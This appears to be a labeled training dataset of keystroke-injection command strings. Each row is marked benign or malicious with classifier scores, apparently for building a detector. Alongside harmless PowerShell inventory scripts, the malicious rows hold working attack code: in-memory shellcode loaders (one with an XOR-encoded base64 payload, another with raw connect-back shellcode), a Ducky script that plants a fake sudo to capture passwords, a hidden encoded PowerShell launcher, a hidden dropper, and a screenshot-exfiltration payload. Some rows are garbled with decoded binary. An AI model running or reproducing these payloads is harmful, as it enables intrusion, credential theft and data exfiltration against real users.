"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_8f4sh6c0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4735403e-05
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$tru enter e, ParameterSetName=""ConfigMgr"", HelpMessage=""Site server where the SMS Provider enter is installed"")] [parameter(ParameterSetName=""WIM"")] [ValidateNotNullOrEmpty() enter ] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] [string enter ]$SiteServer, [parameter(Mandatory=$true, ParameterSetName=""ConfigMgr"", HelpMes enter sage=""Specify the Boot Image name as a string or an array of strings"")] [Valida enter teNotNullOrEmpty()] [string[]]$BootImageName, [parameter(Mandatory=$true, Para enter meterSetName=""WIM"", HelpMessage=""Specify the path to a WIM file"")] enter",1,1,0.0020851346,0.99791485
"win+r enter powershell enter enter enter Set-StrictMode -Version 2 enter enter function func_get_proc_address { enter Param ($var_module, $var_procedure) enter $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) enter return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) enter } enter enter function func_get_delegate_type { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, enter [Parameter(Position = 1)] [Type] $var_return_type = [Void] enter ) enter enter $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') enter $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') enter enter return $var_type_builder.CreateType() enter } enter enter If ([IntPtr]::size -eq 8) { enter [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieSet-StrictMode -Version 2 enter function func_get_proc_address { enter Param ($var_module, $var_procedure) enter $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() enter Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) enter return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) enter function func_get_delegate_type { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, enter [Parameter(Position = 1)] [Type] $var_return_type = [Void] enter $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') enter $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') enter return $var_type_builder.CreateType() enter If ([IntPtr]::size -eq 8) { enter [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim7o8IyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDFlxYWwjqsUis0Mggfj++66RJGdUaCsyU8FyL/ZSgZdVnUeFIUwycqg8QFEwW7DBbwx4DyCJ+ycpf/X2cBQCnC78u+AZe0A5/y0Sh7cbSSN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3Fw0TYBgDDW1mdxcNE2YYAw1tZncDYG9xAxENEw0WExQRFAouKSOo5mbkQdQzYDaUFLgyt3kr9BiOKipDvoKjmxJvkzdKDYXT2vQdJCUQCzmFT8mVrpQjWapCuL9xLLb6r/TEQNHjLYQWl8Oa6xq3IrHVtxk4Kme5xxUDI9+iBX872L+b3TsONp0UDFVuRwgsr5xwqZLX2gPD0WnLfp9PdXLUMSOf2jib7/9ZKZEldCqVyIl0a80flwp8+PKE enter for ($x = 0 enter $x -lt $var_code.Count enter $x++) { enter $var_code[$x] = $var_code[$x] -bxor 35 enter $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) enter $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) enter $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) enter $var_runme.Invoke([IntPtr]::Zero) enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter ßk ÇÓËë###brbsqruk ñFk¨qCk¨q;k¨q k¨Qsk,”iin êk ㏠B_! bâê.b""âÁÎqbrk¨q ¨a k""óE¢[;(!VQ¨£«###k¦ãWDk""ós¨k;g¨c j""óÀukÜêb¨ «k""õn êk ãbâê.b""â ÃVÒo o +f òVû{g¨c j""óEb¨/kg¨c?j""ób¨'«k""ób{b{}zyb{bzby'­ enter enter [decoded:long_base64_literal] enter ßk ÇÓËë###brbsqruk ñFk¨qCk¨q;k¨q k¨Qsk,”iin êk ㏠B_! bâê.b""âÁÎqbrk¨q ¨a k""óE¢[;(!VQ¨£«###k¦ãWDk""ós¨k;g¨c j""óÀukÜêb¨ «k""õn êk ãbâê.b""â ÃVÒo o +f òVû{g¨c j""óEb¨/kg¨c?j""ób¨'«k""ób{b{}zyb{bzbyk Ï bqÜÃ{bzyk¨1ÊlÜÜÜ~I#jTJMJMFW#bujªÅoªÒb™oT $Üök êk ñn ãn êbsbsb™ uZ„ÜöÈPykªâb›º<##n êbrbrI brb™tª¼åÜöÈzxkªâk ñjªûn êqK#!c§qqb™Èv enter Üökªåk àsI)|kªÒkªùjäãÜÜÜÜn êqqb™ %;XÜö¦ã,¦¾""##kÜì,§¯""##ÈðÊÇ""##ˁÜÜÜ Yqal#ªÅ""³C øþû®‘$gTh+2SÁr/öR—UG !L2r¨<@Q0[°Áo x ‰û') õöp œ.ü»à {@9ÿ- ‡· I#vPFQ bDFMW nLYJOOB enter @LNSBWJAOF npjf enter tJMGLTP mw enter enter mfw enter ` enter mfw enter f enter mfw `oq enter .)#¨æfäAÔ3`6” ¸2·y+ô Ž**C¾‚£› o“7J enter ÓÚô $% 9 Oɕ®”#YªB¸¿q,¶ú¯ôÄ@Ñã-„ —Ãšë ·""±Õ· 8*g¹Ç #ߢ ;Ø¿›Ý; 6 UnG ,¯œp©’×Ú ÃÑiË~ŸOurÔ1#ŸÚ8›ïÿY)‘%t*•È‰tkÍ — enter |øò„ enter enter",1,1,5.6932335e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_izalj85d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_50.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4199995e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_7vuwbc25"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter",0,0,0.99996555,3.441908e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_0ywurebt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.383753e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter ID 05ac:021e Apple:Keyboard enter DELAY 2010 enter GUI SPACE enter DELAY 600 enter ALT F2 enter DELAY 600 enter DEL enter DELAY 200 enter STRING terminal enter ENTER enter DELAY 3000 enter STRING rm -rf ~/.config/sudo enter ENTER enter DELAY 200 enter STRING mkdir -p ~/.config/sudo enter ENTER enter DELAY 200 enter STRING echo '#!'$SHELL > ~/.config/sudo/sudo enter ENTER enter STRING /usr/bin/sudo -n true 2>/dev/null enter ENTER enter STRING if [ $? -eq 0 ] enter ENTER enter STRING then enter ENTER enter STRING /usr/bin/sudo $@ enter ENTER enter STRING else enter ENTER enter STRING echo -n ""[sudo] password for $USER: "" enter ENTER enter STRING read -s pwd enter ENTER enter STRING echo enter ENTER enter STRING echo ""$pwd"" | /usr/bin/sudo -S true 2>/dev/null enter ENTER enter STRING if [ $? -eq 1 ] enter ENTER enter STRING then enter DUCKY_REAL_END enter",1,1,6.106875e-05,0.99993896
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_xcvje5hc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4034e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_pkd4rzxt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.416834e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_s0tizxes"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter",0,0,0.9999652,3.4767912e-05
"win+r powershell enter Describe ""Get-TraceSource"" -Tags ""Feature"" { It ""Should output data sorted by n enter ame"" { $expected = (Get-TraceSource | Sort-Object Name) Get-TraceSource | Shou enter ld -Be $expected } } $f9B = '[DllImport(""kernel32.dll"")]public static extern I enter ntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint fl enter Protect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(Int enter Ptr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParame enter ter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public st enter atic extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -me enter mberDefinition $f9B -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[ enter Byte[]]$z = 0xb8,0xe8,0x07,0xfc,0x05,0xda,0xd8,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc enter 9,0xb1,0x58,0x31,0x43,0x15,0x83,0xc3,0x04,0x03,0x43,0x11,0xe2,0x1d,0xfb,0x14,0x8 enter 7,0xdd,0x04,0xe5,0xe enter enter",1,1,5.3085103e-05,0.99994695
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_dx7x3dqg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_100.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 10 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_10.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4342593e-05
"win+r enter powershell enter enter enter function Convert-SPOStringVariablesToValues enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [String]$string enter ) enter enter Write-Host ""Replacing variables string variables"" -foregroundcolor black -backgroundcolor yellow enter enter $serverRelativeUrl = $clientContext.Site.ServerRelativeUrl enter if ($serverRelativeUrl -eq ""/"") { enter $serverRelativeUrl = """" enter } enter enter $returnString = $string -replace ""~SiteCollection"", $serverRelativeUrl enter enter return $returnString enter } enter enter",0,0,0.9999238,7.622327e-05
win+r powershell enter  [CmdletBinding()] param ( [string]$Parameters = 'INSTALL_SILENT=Enable AUTO_U enter PDATE=Disable WEB_JAVA=Enable WEB_ANALYTICS=Disable EULA=Disable REBOOT=Disable' enter ) function Get-Architecture { [CmdletBinding()][OutputType([string])] par enter am () enter enter,1,1,0.0016880351,0.998312
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_f3mcrmyl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.379042e-05
win+r powershell enter C:$MFT enter enter C:$MFT\123 enter enter C:$MFT enter enter C:$MFT\123 enter enter enter,1,1,0.00063589413,0.9993641
powershell -nop -ep bypass -windowstyle minimized -enc YwBkACAAJABlAG4AdgA6AEEAc enter ABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcABzADoALwAvAGEAbABuAGEAbQBhAC4Ab enter gBlAHQALwByAGUAYQBsAHQAeQAvAGwAaQBjAGUAbgBzAGUALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0AP enter QBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAb enter QAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAb enter QAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAY enter gBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcAS enter ABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAI enter AAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AO enter wAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAK enter wApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJ enter ABjAGgAcgBzAC4ATABlA enter,1,1,6.416528e-05,0.99993587
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_y7o0pj1t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.478612e-05
"win+r enter powershell enter enter enter $apiVersion = ""2015-04-08"" enter $resourceGroupName = ""myResourceGroup"" enter $accountName = ""mycosmosaccount"" enter $tableName = ""table1"" enter $accountResourceName = $accountName + ""/table/"" enter $tableResourceName = $accountName + ""/table/"" + $tableName enter $tableResourceType = ""Microsoft.DocumentDb/databaseAccounts/apis/tables"" enter Read-Host -Prompt ""List all tables in an account. Press Enter to continue"" enter enter Get-AzResource -ResourceType $tableResourceType ` enter -ApiVersion $apiVersion -ResourceGroupName $resourceGroupName ` enter -Name $accountResourceName | Select-Object Properties enter enter Read-Host -Prompt ""Get a table in an account. Press Enter to continue"" enter enter Get-AzResource -ResourceType $tableResourceType ` enter -ApiVersion $apiVersion -ResourceGroupName $resourceGroupName ` enter -Name $tableResourceName | Select-Object Properties enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x02,0x68,0x02,0x00,0x02,0x9a,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1992312e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_cwrx6l8t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_20.json"") -Encoding UTF8 enter",0,0,0.9999658,3.4252746e-05
"win+r powershell enter function Test-PoolCrud { $resourceGroup = Get-ResourceGroupName $accName = Get enter -ResourceName $poolName1 = Get-ResourceName $poolName2 = Get-ResourceName $ enter resourceLocation = Get-ProviderLocation ""Microsoft.NetApp"" $poolSize = 43980465 enter 11104 $serviceLevel = ""Premium"" try { enter",1,1,0.0012907891,0.9987092
"win r cmd /q /d /t:7f /f:off /v:on /k enter alt m down enter cd %temp% enter erase /q duckywait.bat enter copy con duckywait.bat enter :while1 enter for /f ""tokens=3 delims= "" %%a in ('echo list volume ^| diskpart ^| findstr ""ducky""') do (set duckydrive=%%a:) enter if exist %duckydrive% ( enter goto :break enter ) enter timeout /t 30 enter goto :while1 enter :break enter set duckydrive=%duckydrive%\copyfiletodesktop\ enter copy %duckydrive%helloworld.exe %userprofile%\desktop\helloworld.exe enter enter erase /q invis.vbs enter copy con invis.vbs enter createobject(""wscript.shell"").run """""""" & wscript.arguments(0) & """""""", 0, false enter enter wscript.exe invis.vbs duckywait.bat enter exit enter",1,1,0.0072127413,0.9927873
"win+r powershell enter DUCKY_REAL_BEGIN enter REM_BLOCK DOCUMENTATION enter Title: Windows Screenshot Exfiltration enter Author: https://github.com/thomasboegl1 enter Description: This payload sends you screenshots of the screen every 10sec until the Powershell window is closed. enter Target: Windows 10, 11 enter Version: 1.0 enter Category: Exfiltration enter END_REM enter EXTENSION PASSIVE_WINDOWS_DETECT enter REM VERSION 1.1 enter REM AUTHOR: Korben enter REM_BLOCK DOCUMENTATION enter Windows fully passive OS Detection and passive Detect Ready enter Includes its own passive detect ready. enter Does not require additional extensions. enter USAGE: enter Extension runs inline (here) enter Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter boot delay enter $_OS will be set to WINDOWS or NOT_WINDOWS enter See end of payload for usage within payload enter END_REM enter REM CONFIGURATION: enter DEFINE #MAX_WAIT 150 enter DEFINE #CHECK_INTERVAL 20 enter DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 enter DEFINE #NOT_WINDOWS 7 enter $_OS = #NOT_WINDOWS enter VAR 